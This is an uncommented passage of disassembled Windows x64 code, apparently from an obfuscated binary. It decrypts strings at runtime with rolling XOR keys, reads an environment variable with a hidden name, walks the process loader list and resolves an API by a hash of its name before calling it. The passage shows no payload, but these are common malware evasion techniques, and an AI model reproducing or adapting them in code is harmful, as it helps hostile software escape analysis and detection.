mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x4b30]
call fcn.140018270
mov dword [rbp + 0x1018], 0x423a35c7
mov dword [rbp + 0x101c], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x4b30]
lea rcx, [rbp + 0x1018]
call fcn.140018e40
mov edx, eax
lea rcx, [rbp + 0x890]
call fcn.1400182b0
nop
mov rbx, qword [rbp + 0x8a0]
lea rcx, [rbp + 0x890]
call fcn.140017db0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x13a8]
call fcn.140017f70
nop
lea rcx, [rbp + 0x890]
call fcn.140018090
movzx eax, byte [rbp + 0xe7d]
test al, al
je 0x140007609
xor byte [rbp + 0xe7c], 0x57
xor al, 0x58
mov byte [rbp + 0xe7d], al
lea rax, [rbp + 0xe7c]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140007613
lea rdx, [rbp + 0xe7c]
lea rcx, [rbp + 0x13a8]
call fcn.140017f70
cmp byte [rbp + 0xe7d], 0
jne 0x140007647
xor byte [rbp + 0xe7c], 0x57
mov byte [rbp + 0xe7d], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x7244], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x5ec0]
call fcn.140018270
mov dword [rbp + 0x1020], 0xa98ac7
mov dword [rbp + 0x1024], 0x5f5e0ff
mov r9d, 0x5f5e0ff
mov r8d, 0xa98ac7
lea rdx, [rbp + 0x5ec0]
lea rcx, [rbp + 0x1020]
call fcn.140018e40
mov edx, eax
lea rcx, [rbp + 0x850]
call fcn.1400182b0
nop
mov rbx, qword [rbp + 0x860]
lea rcx, [rbp + 0x850]
call fcn.140017db0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x13a8]
call fcn.140017f70
nop
lea rcx, [rbp + 0x850]
call fcn.140018090
movzx eax, byte [rbp + 0xe7d]
test al, al
je 0x1400076f9
xor byte [rbp + 0xe7c], 0x57
xor al, 0x58
mov byte [rbp + 0xe7d], al
lea rax, [rbp + 0xe7c]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140007703
lea rdx, [rbp + 0xe7c]
lea rcx, [rbp + 0x13a8]
call fcn.140017f70
cmp byte [rbp + 0xe7d], 0
jne 0x140007737
xor byte [rbp + 0xe7c], 0x57
mov byte [rbp + 0xe7d], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x85d4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7250]
call fcn.140018270
mov dword [rbp + 0x1028], 0x423a35c7
mov dword [rbp + 0x102c], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x7250]
lea rcx, [rbp + 0x1028]
call fcn.140018e40
mov edx, eax
lea rcx, [rbp + 0x830]
call fcn.1400182b0
nop
mov rbx, qword [rbp + 0x840]
lea rcx, [rbp + 0x830]
call fcn.140017db0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x13a8]
call fcn.140017f70
nop
lea rcx, [rbp + 0x830]
call fcn.140018090
movzx eax, byte [rbp + 0xf24]
test al, al
je 0x1400077fe
xor byte [rbp + 0xf20], 0x57
xor byte [rbp + 0xf21], 0x58
xor byte [rbp + 0xf22], 0x59
xor byte [rbp + 0xf23], 0x5a
xor al, 0x5b
mov byte [rbp + 0xf24], al
lea rax, [rbp + 0xf20]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140007810
lea rdx, [rbp + 0xf20]
lea rcx, [rbp + 0x13a8]
call fcn.140017f70
cmp byte [rbp + 0xf24], 0
jne 0x140007859
xor byte [rbp + 0xf20], 0x57
xor byte [rbp + 0xf21], 0x58
xor byte [rbp + 0xf22], 0x59
xor byte [rbp + 0xf23], 0x5a
mov byte [rbp + 0xf24], 0x5b
movzx eax, byte [rbp + 0xe79]
test al, al
je 0x140007873
xor byte [rbp + 0xe78], 0x57
xor al, 0x58
mov byte [rbp + 0xe79], al
lea rdx, [rbp + 0xe78]
lea rcx, [rbp + 0x610]
call fcn.1400180f0
mov rbx, rax
movzx ecx, byte [rbp + 0xf1c]
test cl, cl
je 0x1400078b9
xor byte [rbp + 0xf18], 0x57
xor byte [rbp + 0xf19], 0x58
xor byte [rbp + 0xf1a], 0x59
xor byte [rbp + 0xf1b], 0x5a
xor cl, 0x5b
mov byte [rbp + 0xf1c], cl
lea rcx, [rbp + 0xf18]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x810]
call fcn.140018600
nop
lea r8, [rbp + 0x13a8]
mov rdx, rax
lea rcx, [rbp + 0x1548]
call fcn.140018500
nop
lea rcx, [rbp + 0x810]
call fcn.140018090
nop
lea rcx, [rbp + 0x610]
call fcn.140018090
cmp byte [rbp + 0xf1c], 0
jne 0x140007935
xor byte [rbp + 0xf18], 0x57
xor byte [rbp + 0xf19], 0x58
xor byte [rbp + 0xf1a], 0x59
xor byte [rbp + 0xf1b], 0x5a
mov byte [rbp + 0xf1c], 0x5b
cmp byte [rbp + 0xe79], 0
jne 0x14000794c
xor byte [rbp + 0xe78], 0x57
mov byte [rbp + 0xe79], 0x58
xor edx, edx
lea rcx, [rbp + 0x13a8]
call fcn.140017dc0
nop
lea rcx, [rbp + 0x13a8]
call fcn.140018090
nop
lea rcx, [rbp + 0x1548]
call fcn.140017db0
mov rbx, rax
movups xmm0, xmmword [str.7.___5_3_fAO__v_b_v]
movups xmmword [rbp + 0x1138], xmm0
mov ecx, dword [0x14001b730]
mov dword [rbp + 0x1148], ecx
movzx ecx, word [0x14001b734]
mov word [rbp + 0x114c], cx
movsd xmm0, qword [str.s_06__f_7_BDd]
movsd qword [rbp + 0x10c0], xmm0
mov ecx, dword [0x14001bac8]
mov dword [rbp + 0x10c8], ecx
movzx eax, word [0x14001bacc]
mov word [rbp + 0x10cc], ax
mov eax, dword [str.pcyZ]
mov dword [rbp + 0xeb4], eax
movups xmm0, xmmword [0x14001bb28]
movups xmmword [rbp + 0x1c68], xmm0
movups xmm1, xmmword [0x14001bb38]
movups xmmword [rbp + 0x1c78], xmm1
movsd xmm0, qword [0x14001bb48]
movsd qword [rbp + 0x1c88], xmm0
movzx eax, word [0x14001bb50]
mov word [rbp + 0x1c90], ax
movzx eax, byte [0x14001bb52]
mov byte [rbp + 0x1c92], al
lea rcx, [rbp + 0x1568]
call fcn.140018250
nop
cmp byte [rbp + 0x114d], 0
je 0x140007cb3
mov r8d, edi
cmp r13d, 2
jl 0x140007c73
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1138]
xorps xmm2, xmm1
movd dword [rbp + 0x1138], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x113c]
xorps xmm2, xmm1
movd dword [rbp + 0x113c], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1140]
xorps xmm2, xmm1
movd dword [rbp + 0x1140], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1144]
xorps xmm2, xmm1
movd dword [rbp + 0x1144], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1148]
xorps xmm2, xmm1
movd dword [rbp + 0x1148], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x1138]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140007c80
lea rax, [rbp + 0x1138]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140007cc0
lea rdx, [rbp + 0x1138]
lea rcx, [rbp + 0x1568]
call fcn.140017f70
cmp byte [rbp + 0x114d], 0
jne 0x140007f73
mov r8d, edi
cmp r13d, 2
jl 0x140007f27
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1138]
xorps xmm2, xmm1
movd dword [rbp + 0x1138], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x113c]
xorps xmm2, xmm1
movd dword [rbp + 0x113c], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1140]
xorps xmm2, xmm1
movd dword [rbp + 0x1140], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1144]
xorps xmm2, xmm1
movd dword [rbp + 0x1144], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1148]
xorps xmm2, xmm1
movd dword [rbp + 0x1148], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x1138]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140007f40
cmp byte [rbp + 0xeb7], 0
je 0x140008032
mov r8d, edi
cmp r13d, 2
jl 0x140007ff1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0xeb4]
xorps xmm1, xmm0
movd dword [rbp + 0xeb4], xmm1
jmp 0x140008032
lea r9, [rbp + 0xeb4]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140008000
mov rdx, rbx
lea rcx, [rbp + 0x730]
call fcn.1400180f0
mov r10, rax
cmp byte [rbp + 0x10cd], 0
je 0x1400081f3
mov r8d, edi
cmp r13d, 2
jl 0x1400081b0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c0]
xorps xmm2, xmm1
movd dword [rbp + 0x10c0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c4]
xorps xmm2, xmm1
movd dword [rbp + 0x10c4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c8]
xorps xmm2, xmm1
movd dword [rbp + 0x10c8], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x10c0]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400081c0
mov r8, r10
lea rdx, [rbp + 0x10c0]
lea rcx, [rbp + 0x710]
call fcn.140018600
nop
lea r8, [rbp + 0xeb4]
mov rdx, rax
lea rcx, [rbp + 0x6f0]
call fcn.140018490
nop
mov rbx, qword [rax + 0x10]
mov rcx, rax
call fcn.140017db0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1568]
call fcn.140017f70
nop
lea rcx, [rbp + 0x6f0]
call fcn.140018090
nop
lea rcx, [rbp + 0x710]
call fcn.140018090
nop
lea rcx, [rbp + 0x730]
call fcn.140018090
cmp byte [rbp + 0x10cd], 0
jne 0x140008413
mov r8d, edi
cmp r13d, 2
jl 0x1400083d2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c0]
xorps xmm2, xmm1
movd dword [rbp + 0x10c0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c4]
xorps xmm2, xmm1
movd dword [rbp + 0x10c4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c8]
xorps xmm2, xmm1
movd dword [rbp + 0x10c8], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x10c0]
add r9, rax
nop
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400083e0
cmp byte [rbp + 0xeb7], 0
jne 0x1400084d2
mov r8d, edi
cmp r13d, 2
jl 0x140008491
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0xeb4]
xorps xmm1, xmm0
movd dword [rbp + 0xeb4], xmm1
jmp 0x1400084d2
lea r9, [rbp + 0xeb4]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400084a0
cmp byte [rbp + 0x1c92], 0
je 0x140008643
mov r8d, edi
cmp r13d, 2
jl 0x1400085f5
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1c6c]
mov edx, dword [rbp + 0xe0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140008502
cmp r8d, 0x2b
jge 0x140008643
movsxd rax, r8d
lea r9, [rbp + 0x1c68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140008610
lea rax, [rbp + 0x1c68]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140008650
lea rdx, [rbp + 0x1c68]
lea rcx, [rbp + 0x1568]
call fcn.140017f70
cmp byte [rbp + 0x1c92], 0
jne 0x1400087d3
mov r8d, edi
cmp r13d, 2
jl 0x140008793
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1c6c]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400086a0
cmp r8d, 0x2b
jge 0x1400087d3
movsxd rax, r8d
lea r9, [rbp + 0x1c68]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400087a0
lea rdx, [rbp + 0x1568]
lea rcx, [rbp + 0x6d0]
call fcn.140018130
mov rcx, rax
call fcn.140002100
xor edx, edx
lea rcx, [rbp + 0x1568]
call fcn.140017dc0
nop
lea rcx, [rbp + 0x1568]
call fcn.140018090
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140008896
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140008896
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8d5f4eac
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140008891
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140008870
cmp r8d, 0x8f24390f
je 0x14000889b
test r9d, r9d
jne 0x140008850
mov rax, qword [rax]
jmp 0x140008820
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
lea rcx, [rbp + 0x1548]
call fcn.140017db0
mov rbx, rax
mov rcx, r12
call fcn.140017db0
mov rdx, rax
lea rcx, [rbp + 0x1628]
call fcn.1400180f0
nop
mov rdx, rbx
lea rcx, [rbp + 0x1648]
call fcn.1400180f0
nop
lea rcx, [rbp + 0x16c8]
call fcn.140018250
nop
mov eax, dword [str.4_6_]
mov dword [rbp + 0x18], eax
movzx eax, word [0x14001b7e4]
mov word [rbp + 0x1c], ax
mov byte [rbp + 0x18], 0x63
xor byte [rbp + 0x19], 0x58
xor byte [rbp + 0x1a], 0x59
xor byte [rbp + 0x1b], 0x5a
xor al, 0x5b
mov byte [rbp + 0x1c], al
xor byte [rbp + 0x1d], 0x5c
lea rax, [rbp + 0x18]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140008931
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x16c8]
call fcn.140017f70
lea rcx, [rbp + 0x1628]
call fcn.140017db0
mov r8, r15
nop word [rax + rax]
inc r8
